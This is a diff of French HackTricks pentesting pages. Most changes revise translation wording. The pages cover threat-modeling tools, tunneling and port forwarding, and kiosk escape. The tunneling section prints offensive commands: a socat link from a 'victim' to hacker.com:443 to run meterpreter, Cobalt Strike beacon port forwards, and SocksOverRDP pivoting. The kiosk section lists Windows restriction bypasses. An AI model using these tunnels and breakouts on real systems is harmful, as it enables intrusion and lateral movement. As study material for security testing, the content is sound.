### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||||
|
|
||||||
Un projet open-source de l'OWASP, Threat Dragon est à la fois une application web et de bureau qui inclut la création de diagrammes système ainsi qu'un moteur de règles pour générer automatiquement des menaces/mitigations.
|
Un projet open-source d'OWASP, Threat Dragon est à la fois une application web et de bureau qui inclut le diagramme de système ainsi qu'un moteur de règles pour générer automatiquement des menaces/atténuations.
|
||||||
|
|
||||||
**Utilisation**
|
**Utilisation**
|
||||||
|
|
||||||
1. Créez un Nouveau Projet
|
1. Créer un Nouveau Projet
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -78,15 +64,15 @@ Parfois, cela pourrait ressembler à ceci :
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
2. Lancez le Nouveau Projet
|
2. Lancer un Nouveau Projet
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
3. Sauvegardez le Nouveau Projet
|
3. Enregistrer le Nouveau Projet
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
4. Créez votre modèle
|
4. Créer votre modèle
|
||||||
|
|
||||||
Vous pouvez utiliser des outils comme SpiderSuite Crawler pour vous inspirer, un modèle de base ressemblerait à ceci
|
Vous pouvez utiliser des outils comme SpiderSuite Crawler pour vous inspirer, un modèle de base ressemblerait à ceci
|
||||||
|
|
||||||
|
@ -94,13 +80,13 @@ Vous pouvez utiliser des outils comme SpiderSuite Crawler pour vous inspirer, un
|
||||||
|
|
||||||
Juste un peu d'explication sur les entités :
|
Juste un peu d'explication sur les entités :
|
||||||
|
|
||||||
* Processus (L'entité elle-même telle qu'un serveur web ou une fonctionnalité web)
|
* Processus (L'entité elle-même comme un serveur web ou une fonctionnalité web)
|
||||||
* Acteur (Une personne telle qu'un visiteur de site web, un utilisateur ou un administrateur)
|
* Acteur (Une personne comme un Visiteur de Site Web, un Utilisateur ou un Administrateur)
|
||||||
* Ligne de Flux de Données (Indicateur d'interaction)
|
* Ligne de Flux de Données (Indicateur d'Interaction)
|
||||||
* Limite de Confiance (Différents segments réseau ou étendues.)
|
* Limite de Confiance (Différents segments ou périmètres de réseau.)
|
||||||
* Stockage (Endroits où les données sont stockées comme des bases de données)
|
* Stocker (Choses où les données sont stockées comme des Bases de Données)
|
||||||
|
|
||||||
5. Créez une Menace (Étape 1)
|
5. Créer une Menace (Étape 1)
|
||||||
|
|
||||||
Tout d'abord, vous devez choisir la couche à laquelle vous souhaitez ajouter une menace
|
Tout d'abord, vous devez choisir la couche à laquelle vous souhaitez ajouter une menace
|
||||||
|
|
||||||
|
@ -110,27 +96,16 @@ Maintenant, vous pouvez créer la menace
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Gardez à l'esprit qu'il y a une différence entre les Menaces d'Acteurs et les Menaces de Processus. Si vous ajoutez une menace à un Acteur, vous ne pourrez choisir que "Spoofing" et "Repudiation". Cependant, dans notre exemple, nous ajoutons une menace à une entité de Processus, donc nous verrons ceci dans la boîte de création de menace :
|
Gardez à l'esprit qu'il y a une différence entre les Menaces d'Acteur et les Menaces de Processus. Si vous ajoutez une menace à un Acteur, vous ne pourrez choisir que "Spoofing" et "Repudiation". Cependant, dans notre exemple, nous ajoutons une menace à une entité de Processus, donc nous verrons cela dans la boîte de création de menace :
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
6. Terminé
|
6. Terminé
|
||||||
|
|
||||||
Maintenant, votre modèle terminé devrait ressembler à ceci. Et voilà comment vous créez un modèle de menace simple avec OWASP Threat Dragon.
|
Maintenant, votre modèle terminé devrait ressembler à ceci. Et c'est ainsi que vous créez un modèle de menace simple avec OWASP Threat Dragon.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
### [Outil de modélisation des menaces Microsoft](https://aka.ms/threatmodelingtool)
|
|
||||||
|
|
||||||
Il s'agit d'un outil gratuit de Microsoft qui aide à trouver les menaces dans la phase de conception des projets logiciels. Il utilise la méthodologie STRIDE et est particulièrement adapté à ceux qui développent sur la pile technologique de Microsoft.
|
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
C'est un outil gratuit de Microsoft qui aide à trouver des menaces dans la phase de conception des projets logiciels. Il utilise la méthodologie STRIDE et est particulièrement adapté à ceux qui développent sur la pile de Microsoft.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants volant des informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
|
@ -15,18 +15,10 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Astuce Nmap
|
## Astuce Nmap
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Les scans **ICMP** et **SYN** ne peuvent pas être tunnélisés à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier des **scans TCP** (`-sT`) pour que cela fonctionne.
|
**ICMP** et **SYN** scans ne peuvent pas être tunnélisés à travers des proxies socks, donc nous devons **désactiver la découverte par ping** (`-Pn`) et spécifier **les scans TCP** (`-sT`) pour que cela fonctionne.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
@ -182,7 +174,7 @@ rportfwd stop [bind port]
|
||||||
### rPort2Port local
|
### rPort2Port local
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le Team Server et le **trafic est envoyé au client Cobalt Strike** (pas au Team Server) et de là vers l'hôte:port indiqué.
|
Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le Team Server et le **trafic est envoyé au client Cobalt Strike** (pas au Team Server) et de là au hôte:port indiqué.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```
|
```
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
|
@ -268,7 +260,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||||
#Execute the meterpreter
|
#Execute the meterpreter
|
||||||
```
|
```
|
||||||
Vous pouvez contourner un **proxy non authentifié** en exécutant cette ligne au lieu de la dernière dans la console de la victime :
|
Vous pouvez contourner un **proxy non authentifié** en exécutant cette ligne à la place de la dernière dans la console de la victime :
|
||||||
```bash
|
```bash
|
||||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||||
```
|
```
|
||||||
|
@ -336,7 +328,7 @@ Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci :
|
||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
Maintenant, nous pouvons **connecter** au **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **prompt** disant que le **plugin SocksOverRDP est activé**, et il va **écouter** sur **127.0.0.1:1080**.
|
Maintenant, nous pouvons **connecter** au **victime** via **RDP** en utilisant **`mstsc.exe`**, et nous devrions recevoir un **message** disant que le **plugin SocksOverRDP est activé**, et il va **écouter** sur **127.0.0.1:1080**.
|
||||||
|
|
||||||
**Connectez-vous** via **RDP** et téléchargez & exécutez sur la machine victime le binaire `SocksOverRDP-Server.exe` :
|
**Connectez-vous** via **RDP** et téléchargez & exécutez sur la machine victime le binaire `SocksOverRDP-Server.exe` :
|
||||||
```
|
```
|
||||||
|
@ -365,7 +357,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||||
|
|
||||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||||
|
|
||||||
Il s'authentifie contre un proxy et lie un port local qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\
|
Il s'authentifie contre un proxy et lie un port localement qui est redirigé vers le service externe que vous spécifiez. Ensuite, vous pouvez utiliser l'outil de votre choix via ce port.\
|
||||||
Par exemple, cela redirige le port 443.
|
Par exemple, cela redirige le port 443.
|
||||||
```
|
```
|
||||||
Username Alice
|
Username Alice
|
||||||
|
@ -424,7 +416,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||||
```
|
```
|
||||||
#### Changer le DNS de proxychains
|
#### Changer le DNS de proxychains
|
||||||
|
|
||||||
Proxychains intercepte l'appel `gethostbyname` de libc et tunnelise la requête DNS tcp à travers le proxy socks. Par **défaut**, le serveur **DNS** utilisé par proxychains est **4.2.2.2** (codé en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et changez l'IP. Si vous êtes dans un **environnement Windows**, vous pouvez définir l'IP du **contrôleur de domaine**.
|
Proxychains intercepte l'appel `gethostbyname` de la libc et tunnelise la requête DNS tcp à travers le proxy socks. Par **défaut**, le serveur **DNS** que proxychains utilise est **4.2.2.2** (codé en dur). Pour le changer, éditez le fichier : _/usr/lib/proxychains3/proxyresolv_ et changez l'IP. Si vous êtes dans un **environnement Windows**, vous pouvez définir l'IP du **contrôleur de domaine**.
|
||||||
|
|
||||||
## Tunnels en Go
|
## Tunnels en Go
|
||||||
|
|
||||||
|
@ -493,12 +485,12 @@ chmod a+x ./ngrok
|
||||||
./ngrok http file:///tmp/httpbin/
|
./ngrok http file:///tmp/httpbin/
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
```
|
```
|
||||||
#### Sniffing HTTP calls
|
#### Sniffing des appels HTTP
|
||||||
|
|
||||||
*Utile pour XSS, SSRF, SSTI ...*
|
*Utile pour XSS, SSRF, SSTI ...*
|
||||||
Directement depuis stdout ou dans l'interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
Directement depuis stdout ou dans l'interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||||
|
|
||||||
#### Tunneling internal HTTP service
|
#### Tunneling du service HTTP interne
|
||||||
```bash
|
```bash
|
||||||
./ngrok http localhost:8080 --host-header=rewrite
|
./ngrok http localhost:8080 --host-header=rewrite
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
||||||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -544,7 +528,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,49 +1,39 @@
|
||||||
# Évasion des KIOSKs
|
# Échapper des KIOSKs
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenez HackTricks</summary>
|
<summary>Supportez HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants voleurs d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur gratuitement sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Vérifier le périphérique physique
|
## Vérifier le dispositif physique
|
||||||
|
|
||||||
| Composant | Action |
|
| Composant | Action |
|
||||||
| ------------- | -------------------------------------------------------------------- |
|
| ------------- | -------------------------------------------------------------------- |
|
||||||
| Bouton d'alimentation | Éteindre et rallumer l'appareil peut exposer l'écran de démarrage |
|
| Bouton d'alimentation | Éteindre et rallumer le dispositif peut exposer l'écran de démarrage |
|
||||||
| Câble d'alimentation | Vérifiez si l'appareil redémarre lorsque l'alimentation est brièvement coupée |
|
| Câble d'alimentation | Vérifiez si le dispositif redémarre lorsque l'alimentation est coupée brièvement |
|
||||||
| Ports USB | Connectez un clavier physique avec plus de raccourcis |
|
| Ports USB | Connectez un clavier physique avec plus de raccourcis |
|
||||||
| Ethernet | L'analyse du réseau ou le sniffing peuvent permettre une exploitation supplémentaire |
|
| Ethernet | Un scan réseau ou un sniffing peut permettre une exploitation supplémentaire |
|
||||||
|
|
||||||
|
|
||||||
## Vérifier les actions possibles à l'intérieur de l'application GUI
|
## Vérifiez les actions possibles dans l'application GUI
|
||||||
|
|
||||||
Les **Dialogues courants** sont ces options de **sauvegarde d'un fichier**, **ouverture d'un fichier**, sélection d'une police, d'une couleur... La plupart d'entre eux **offriront une fonctionnalité d'Explorateur complète**. Cela signifie que vous pourrez accéder aux fonctionnalités de l'Explorateur si vous pouvez accéder à ces options :
|
**Dialogues communs** sont ces options de **sauvegarde d'un fichier**, **ouverture d'un fichier**, sélection d'une police, d'une couleur... La plupart d'entre eux **offriront une fonctionnalité complète d'Explorateur**. Cela signifie que vous pourrez accéder aux fonctionnalités de l'Explorateur si vous pouvez accéder à ces options :
|
||||||
|
|
||||||
* Fermer/Fermer comme
|
* Fermer/Fermer sous
|
||||||
* Ouvrir/Ouvrir avec
|
* Ouvrir/Ouvrir avec
|
||||||
* Imprimer
|
* Imprimer
|
||||||
* Exporter/Importer
|
* Exporter/Importer
|
||||||
|
@ -71,16 +61,16 @@ _bash, sh, zsh..._ Plus ici : [https://gtfobins.github.io/](https://gtfobins.git
|
||||||
|
|
||||||
## Windows
|
## Windows
|
||||||
|
|
||||||
### Contourner les restrictions de chemin
|
### Contournement des restrictions de chemin
|
||||||
|
|
||||||
* **Variables d'environnement** : Il y a beaucoup de variables d'environnement qui pointent vers un chemin
|
* **Variables d'environnement** : Il existe de nombreuses variables d'environnement qui pointent vers un certain chemin
|
||||||
* **Autres protocoles** : _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
* **Autres protocoles** : _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||||
* **Liens symboliques**
|
* **Liens symboliques**
|
||||||
* **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Boîte de dialogue Ouvrir/Fichier), CTRL-P (Boîte de dialogue Imprimer), CTRL-S (Enregistrer sous)
|
* **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Fichier/Ouvrir Dialog), CTRL-P (Imprimer Dialog), CTRL-S (Enregistrer sous)
|
||||||
* Menu administratif caché : CTRL-ALT-F8, CTRL-ESC-F9
|
* Menu Administratif caché : CTRL-ALT-F8, CTRL-ESC-F9
|
||||||
* **URI Shell** : _shell:Outils administratifs, shell:Bibliothèques de documents, shell:Bibliothèques, shell:ProfilsUtilisateurs, shell:Personnel, shell:DossierRecherche, shell:Système, shell:Réseau, shell:Envoyer vers, shell:ProfilsUtilisateurs, shell:Outils administratifs communs, shell:Ordinateur, shell:Internet_
|
* **URI Shell** : _shell:Outils Administratifs, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personnel, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||||
* **Chemins UNC** : Chemins pour se connecter à des dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32")
|
* **Chemins UNC** : Chemins pour se connecter à des dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32")
|
||||||
* **Autres chemins UNC:**
|
* **Plus de chemins UNC :**
|
||||||
|
|
||||||
| UNC | UNC | UNC |
|
| UNC | UNC | UNC |
|
||||||
| ------------------------- | -------------- | -------------------- |
|
| ------------------------- | -------------- | -------------------- |
|
||||||
|
@ -111,67 +101,68 @@ Explorateur : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2
|
||||||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||||
|
|
||||||
### Raccourcis
|
### Raccourcis
|
||||||
|
|
||||||
* Sticky Keys – Appuyez 5 fois sur SHIFT
|
* Touches de maintien – Appuyez sur SHIFT 5 fois
|
||||||
* Mouse Keys – SHIFT+ALT+NUMLOCK
|
* Touches de souris – SHIFT+ALT+NUMLOCK
|
||||||
* Contraste élevé – SHIFT+ALT+PRINTSCN
|
* Contraste élevé – SHIFT+ALT+PRINTSCN
|
||||||
* Touche de bascule – Maintenez NUMLOCK enfoncé pendant 5 secondes
|
* Touches de basculement – Maintenez NUMLOCK pendant 5 secondes
|
||||||
* Touches de filtre – Maintenez la touche SHIFT droite enfoncée pendant 12 secondes
|
* Touches de filtre – Maintenez SHIFT droit pendant 12 secondes
|
||||||
* WINDOWS+F1 – Recherche Windows
|
* WINDOWS+F1 – Recherche Windows
|
||||||
* WINDOWS+D – Afficher le bureau
|
* WINDOWS+D – Afficher le bureau
|
||||||
* WINDOWS+E – Lancer l'Explorateur Windows
|
* WINDOWS+E – Lancer l'Explorateur Windows
|
||||||
* WINDOWS+R – Exécuter
|
* WINDOWS+R – Exécuter
|
||||||
* WINDOWS+U – Centre d'accessibilité
|
* WINDOWS+U – Centre d'accessibilité
|
||||||
* WINDOWS+F – Recherche
|
* WINDOWS+F – Rechercher
|
||||||
* SHIFT+F10 – Menu contextuel
|
* SHIFT+F10 – Menu contextuel
|
||||||
* CTRL+SHIFT+ESC – Gestionnaire des tâches
|
* CTRL+SHIFT+ESC – Gestionnaire des tâches
|
||||||
* CTRL+ALT+DEL – Écran de démarrage sur les nouvelles versions de Windows
|
* CTRL+ALT+DEL – Écran de démarrage sur les versions Windows plus récentes
|
||||||
* F1 – Aide F3 – Recherche
|
* F1 – Aide F3 – Recherche
|
||||||
* F6 – Barre d'adresse
|
* F6 – Barre d'adresse
|
||||||
* F11 – Basculer en plein écran dans Internet Explorer
|
* F11 – Basculer en plein écran dans Internet Explorer
|
||||||
* CTRL+H – Historique d'Internet Explorer
|
* CTRL+H – Historique Internet Explorer
|
||||||
* CTRL+T – Internet Explorer – Nouvel onglet
|
* CTRL+T – Internet Explorer – Nouvel onglet
|
||||||
* CTRL+N – Internet Explorer – Nouvelle page
|
* CTRL+N – Internet Explorer – Nouvelle page
|
||||||
* CTRL+O – Ouvrir un fichier
|
* CTRL+O – Ouvrir un fichier
|
||||||
* CTRL+S – Enregistrer CTRL+N – Nouveau RDP / Citrix
|
* CTRL+S – Enregistrer CTRL+N – Nouveau RDP / Citrix
|
||||||
|
|
||||||
### Balayages
|
### Glissements
|
||||||
|
|
||||||
* Balayez de gauche à droite pour voir toutes les fenêtres ouvertes, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ;
|
* Glissez du côté gauche vers la droite pour voir toutes les fenêtres ouvertes, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ;
|
||||||
* Balayez de la droite vers la gauche pour ouvrir le Centre d'action, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ;
|
* Glissez du côté droit vers la gauche pour ouvrir le Centre d'Action, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ;
|
||||||
* Balayez depuis le bord supérieur pour rendre la barre de titre visible pour une application ouverte en mode plein écran ;
|
* Glissez depuis le bord supérieur pour rendre la barre de titre visible pour une application ouverte en mode plein écran ;
|
||||||
* Balayez vers le haut depuis le bas pour afficher la barre des tâches dans une application en plein écran.
|
* Glissez vers le haut depuis le bas pour afficher la barre des tâches dans une application en plein écran.
|
||||||
|
|
||||||
### Astuces pour Internet Explorer
|
### Astuces Internet Explorer
|
||||||
|
|
||||||
#### 'Barre d'outils d'image'
|
#### 'Barre d'outils d'image'
|
||||||
|
|
||||||
C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Envoyer par e-mail, Ouvrir "Mes images" dans l'Explorateur. Le Kiosque doit utiliser Internet Explorer.
|
